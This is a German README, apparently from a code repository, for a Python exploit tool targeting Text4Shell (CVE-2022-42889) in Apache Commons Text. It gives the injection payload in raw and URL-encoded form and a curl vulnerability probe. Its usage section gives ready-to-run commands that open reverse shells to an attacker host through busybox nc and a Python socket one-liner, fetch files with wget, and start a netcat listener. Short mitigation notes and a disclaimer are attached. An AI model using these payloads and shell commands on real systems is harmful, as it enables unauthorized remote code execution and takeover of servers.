
Python-Exploit für CVE-2022-42889 (Text4Shell), der Remote-Code-Ausführung über Apache Commons Text-Interpolation ermöglicht. Unterstützt Reverse-Shell-Generierung, SSRF und benutzerdefinierte Befehlsausführung.
Ein Python-Exploit für CVE-2022-42889 (Text4Shell), eine kritische Schwachstelle zur Remote-Code-Ausführung in Apache Commons Text vor Version 1.10.0.
Dieser Exploit zielt auf CVE-2022-42889 (Text4Shell) ab, eine Schwachstelle in Apache Commons Text, die Remote-Code-Ausführung (RCE) über speziell präparierte Eingabezeichenketten ermöglicht, die vom StringLookup-Interpolator verarbeitet werden.
Die Schwachstelle ist in ihrer Auswirkung ähnlich wie Log4Shell, betrifft jedoch eine andere Bibliothek. Wenn vom Benutzer gesteuerte Eingaben an anfällige Methoden weitergegeben werden, kann ein Angreifer beliebigen Code auf dem Zielsystem ausführen.
Apache Commons Text bietet Zeichenketteninterpolation über die Schnittstelle StringLookup. Die interpolator-Suche ermöglicht die Auswertung von Ausdrücken mit verschiedenen Präfixen, darunter:
${script:javascript:...} – führt JavaScript-Code aus (Nashorn-Engine)${url:UTF-8:...} – ruft URLs ab (SSRF)${dns:...} – DNS-Abfragen| Produkt | Betroffene Versionen | Gepatchete Version |
|---|---|---|
| Apache Commons Text | < 1.10.0 | 1.10.0 |
| Java | < 15 (für RCE) | 15+ (Nashorn deaktiviert) |
Hinweis: Java-Versionen ≥ 15 sind nicht anfällig für RCE über das script-Präfix (Nashorn deaktiviert), können aber weiterhin für SSRF über die Präfixe url und dns anfällig sein.
requestsAbhängigkeiten installieren:
pip install requests
python3 text4shell.py -t <ZIEL_IP> -p <PORT> -c <BEFEHL> --lhost <IHRE_IP> --lport <IHR_PORT>
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444
# Listener starten
nc -lvnp 4444
# Exploit ausführen
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444
Nutzlastaufbau: Das Skript erstellt eine schädliche Zeichenkette mit der Syntax ${script:javascript:...}:
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}
URL-Kodierung: Sonderzeichen werden URL-kodiert, um eine ordnungsgemäße Übertragung sicherzustellen:
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D
HTTP-Anfrage: Das Skript sendet eine GET-Anfrage an:
http://TARGET:PORT/search?query=ENCODED_PAYLOAD
Befehlsausführung: Bei Anfälligkeit wertet das Ziel das JavaScript aus und führt den Befehl aus.
Prüfen Sie, ob Ihr System anfällig ist:
Manueller Test:
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"
Wenn die Antwort 49 anstelle von ${script:javascript:7*7} enthält, ist das System anfällig.
Versionsprüfung:
commons-text-*.jar-Dateien in der AnwendungApache Commons Text auf Version 1.10.0 oder höher aktualisieren
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
Auf Java 15+ aktualisieren (deaktiviert die Nashorn-JavaScript-Engine)
Eingabevalidierung: Implementieren Sie eine strenge Validierung von Benutzereingaben.
Interpolation deaktivieren: Wenn nicht benötigt, vermeiden Sie die Verwendung von StringSubstitutor.createInterpolator().
Web Application Firewall (WAF): Blockieren Sie Anfragen, die Muster wie ${script:javascript:} enthalten.
Dieser Exploit dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Nutzung dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Werkzeug verursacht werden.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Beiträge, Probleme und Funktionsanfragen sind willkommen! Besuchen Sie gerne die Issues-Seite.
Happy Hacking! 🚀
| Argument | Beschreibung | Erforderlich |
|---|
-t, --target | IP-Adresse des Ziels | ✅ Ja |
-p, --port | Port des Ziels (Standard: 8080) | ❌ Nein |
-c, --command | Auszuführender Befehl | ✅ Ja |
--lhost | Ihre IP für Reverse Shell | ✅ Ja |
--lport | Ihr Port für Reverse Shell | ✅ Ja |